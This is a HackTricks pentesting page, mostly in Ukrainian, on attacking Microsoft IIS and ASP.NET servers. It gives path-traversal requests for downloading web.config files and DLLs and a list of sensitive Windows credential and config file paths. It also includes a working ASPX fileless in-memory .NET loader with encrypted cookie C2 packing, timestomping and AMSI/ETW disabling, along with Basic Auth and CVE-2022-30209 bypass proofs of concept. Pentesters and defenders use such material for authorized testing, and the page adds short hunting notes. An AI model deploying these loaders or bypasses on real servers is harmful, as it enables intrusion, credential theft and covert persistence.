IIS - Internet Information Services

Reading time: 15 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Тестові розширення виконуваних файлів:

  • asp
  • aspx
  • config
  • php

Розкриття внутрішньої IP-адреси

На будь-якому сервері IIS, де ви отримуєте 302, можна спробувати видалити Host header і використовувати HTTP/1.0 — у відповіді заголовок Location може вказувати на внутрішню IP-адресу:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Відповідь, що розкриває внутрішню IP-адресу:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Виконання .config файлів

Ви можете завантажувати .config файли і використовувати їх для виконання коду. Один зі способів — додати код в кінець файлу всередині HTML comment: Download example here

Більше інформації та технік для експлуатації цієї вразливості here

IIS Discovery Bruteforce

Завантажте список, який я створив:

Він був створений шляхом об'єднання вмісту наступних списків:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Не додавайте розширення — файли, яким потрібне розширення, вже мають його.

Path Traversal

Leaking source code

Дивіться повний розбір за адресою: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

tip

У підсумку, у папках додатку є декілька web.config файлів зі посиланнями на "assemblyIdentity" файли та "namespaces". Маючи цю інформацію, можна дізнатися де розташовані виконувані файли та завантажити їх.
Із downloaded Dlls також можна знайти нові namespaces, куди варто спробувати отримати доступ і дістати web.config файл, щоб знайти нові namespaces та assemblyIdentity.
Також файли connectionstrings.config та global.asax можуть містити цікаву інформацію.

У .Net MVC applications, файл web.config відіграє ключову роль, вказуючи кожний бінарний файл, від якого залежить застосунок, через XML теги "assemblyIdentity".

Дослідження бінарних файлів

Приклад доступу до файлу web.config показано нижче:

html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Цей запит виявляє різні налаштування та залежності, такі як:

  • EntityFramework версію
  • AppSettings для веб-сторінок, валідації на стороні клієнта та JavaScript
  • System.web конфігурації для автентифікації та runtime
  • System.webServer налаштування модулів
  • Runtime assembly bindings для численних бібліотек, таких як Microsoft.Owin, Newtonsoft.Json та System.Web.Mvc

Ці налаштування вказують, що певні файли, такі як /bin/WebGrease.dll, розташовані в папці /bin застосунку.

Root Directory Files

Файли, знайдені в кореневому каталозі, такі як /global.asax та /connectionstrings.config (що містить чутливі паролі), є необхідними для конфігурації та роботи застосунку.

Namespaces and Web.Config

MVC-застосунки також визначають додаткові web.config files для конкретних просторів імен, щоб уникнути повторюваних декларацій у кожному файлі, як показано запитом на завантаження іншого web.config:

html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Завантаження DLL-файлів

Згадка про власний простір імен натякає на DLL з назвою "WebApplication1", яка присутня в директорії /bin. Далі показано запит на завантаження WebApplication1.dll:

html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Це вказує на наявність інших необхідних DLL, таких як System.Web.Mvc.dll і System.Web.Optimization.dll, в каталозі /bin.

У ситуації, коли DLL імпортує простір імен під назвою WebApplication1.Areas.Minded, нападник може зробити висновок про існування інших web.config файлів у передбачуваних шляхах, таких як /area-name/Views/, які містять конкретні конфігурації та посилання на інші DLL у папці /bin. Наприклад, запит до /Minded/Views/web.config може розкрити конфігурації та простори імен, що вказують на наявність іншої DLL, WebApplication1.AdditionalFeatures.dll.

Поширені файли

Джерело: here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 помилка

If you see an error like the following one:

Це означає, що сервер не отримав правильне доменне ім'я в заголовку Host.
Щоб отримати доступ до веб-сторінки, перегляньте поданий SSL Certificate — можливо, ви знайдете там домен/субдомен. Якщо його там немає, можливо, доведеться brute force VHosts, поки не знайдете правильний.

Розшифрування зашифрованих конфігурацій та ASP.NET Core Data Protection key rings

Два поширені підходи для захисту секретів у додатках .NET, розміщених на IIS:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) для секцій web.config, таких як .
  • ASP.NET Core Data Protection key ring (persisted locally), що використовується для захисту секретів додатка та cookies.

Якщо у вас є доступ до файлової системи або інтерактивний доступ до веб-сервера, співрозміщені ключі часто дозволяють виконати розшифрування.

  • ASP.NET (Full Framework) – розшифруйте захищені секції конфігурації за допомогою aspnet_regiis:
cmd
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – перевірте наявність Data Protection key rings, збережених локально (XML/JSON файли) у таких місцях:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

Якщо key ring доступний, оператор, що працює під ідентифікацією додатку, може інстанціювати IDataProtector з тими самими purposes і unprotect збережені секрети. Неправильні налаштування, які зберігають key ring разом з файлами додатку, роблять offline decryption тривіальною після компрометації хоста.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

The Phantom Taurus/NET-STAR toolkit shows a mature pattern for fileless IIS persistence and post‑exploitation entirely inside w3wp.exe. The core ideas are broadly reusable for custom tradecraft and for detection/hunting.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64‑encoded, optionally Gzip‑compressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()).
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results are wrapped with Gzip → AES‑ECB/PKCS7 → Base64 and moved via seemingly legitimate cookie‑heavy requests; operators used stable delimiters (e.g., "STAR") for chunking.
  • Reflective .NET execution: accept arbitrary managed assemblies as Base64, load via Assembly.Load(byte[]) and pass operator args for rapid module swaps without touching disk.
  • Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors even when the site is precompiled (e.g., dropper adds dynamic pages/handlers or leverages config handlers) – exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: expose a changeLastModified action and timestomp on deployment (including future compilation timestamps) to hinder DFIR.
  • Optional AMSI/ETW pre‑disable for loaders: a second‑stage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of in‑memory payloads.

Minimal ASPX loader pattern

aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Утиліти пакування/крипто (Gzip + AES‑ECB + Base64)

csharp
using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session потік і поверхня команд

  • Session bootstrap and tasking здійснюються через cookies, щоб злитися з нормальною веб-активністю.
  • У реальному середовищі спостерігалися такі команди: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; та динамічні примітиви виконання code_self, code_pid, run_code для виконання .NET в пам'яті.

Timestomping утиліта

csharp
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Вбудоване відключення AMSI/ETW перед Assembly.Load (варіант loader)

csharp
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md

Нотатки для хантингу (захисники)

  • Поодинока, дивна сторінка ASPX з дуже довгими Base64/Gzip блобами; пости з великою кількістю cookie.
  • Unbacked managed modules всередині w3wp.exe; рядки на кшталт Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
  • Повторювані роздільники, як "STAR", у трафіку; невідповідні або навіть майбутні мітки часу в ASPX/assemblies.

Старі вразливості IIS, які варто перевірити

Microsoft IIS tilde character “~” Vulnerability/Feature – Витік коротких імен файлів/папок

Ви можете спробувати перелікувати папки та файли всередині кожної знайденої папки (навіть якщо потрібна Basic Authentication) використовуючи цю техніку.
Головне обмеження цієї техніки, якщо сервер вразливий, полягає в тому, що вона може знайти лише перші 6 символів імені кожного файлу/папки та перші 3 символи розширення файлів.

You can use https://github.com/irsdl/IIS-ShortName-Scanner to test for this vulnerability:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Оригінальне дослідження: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

You can also use metasploit: use scanner/http/iis_shortname_scanner

Непогана ідея, щоб знайти остаточне ім'я виявлених файлів — це запитати LLMs варіанти, як це зроблено в скрипті https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Basic Authentication bypass

Обхід Basic Authentication (IIS 7.5) шляхом доступу до: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php

Ви можете спробувати сумістити цю вразливість і попередню, щоб знайти нові папки та обійти автентифікацію.

ASP.NET Trace.AXD — увімкнене налагодження

ASP.NET включає режим налагодження, і його файл називається trace.axd.

Він зберігає дуже детальний лог усіх запитів, що робилися до застосунку за певний період часу.

Ця інформація включає віддалені IP-адреси клієнтів, session IDs, всі request і response cookies, фізичні шляхи, інформацію про вихідний код і потенційно навіть імена користувачів та паролі.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH використовує таку інформацію:

  • validationKey (string): hex-encoded key to use for signature validation.
  • decryptionMethod (string): (default “AES”).
  • decryptionIV (string): hex-encoded initialization vector (defaults to a vector of zeros).
  • decryptionKey (string): hex-encoded key to use for decryption.

Однак деякі адміністратори використовують значення за замовчуванням цих параметрів і використовують як cookie електронну адресу користувача. Тому, якщо ви знайдете веб-сайт на тій самій платформі, який використовує ASPXAUTH cookie, і створите користувача з email тієї людини, яку хочете видавати за іншого на другому сервері, ви можете змогти використати cookie з другого сервера на першому і видавати себе за цього користувача.
Ця атака спрацювала в цьому описі.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: Баг у коді не перевіряв належним чином пароль, введений користувачем, тому атакуючий, чиїй хеш пароля потрапляє в ключ, який вже є в кеші, зможе увійти як цей користувач.

python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Джерела

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks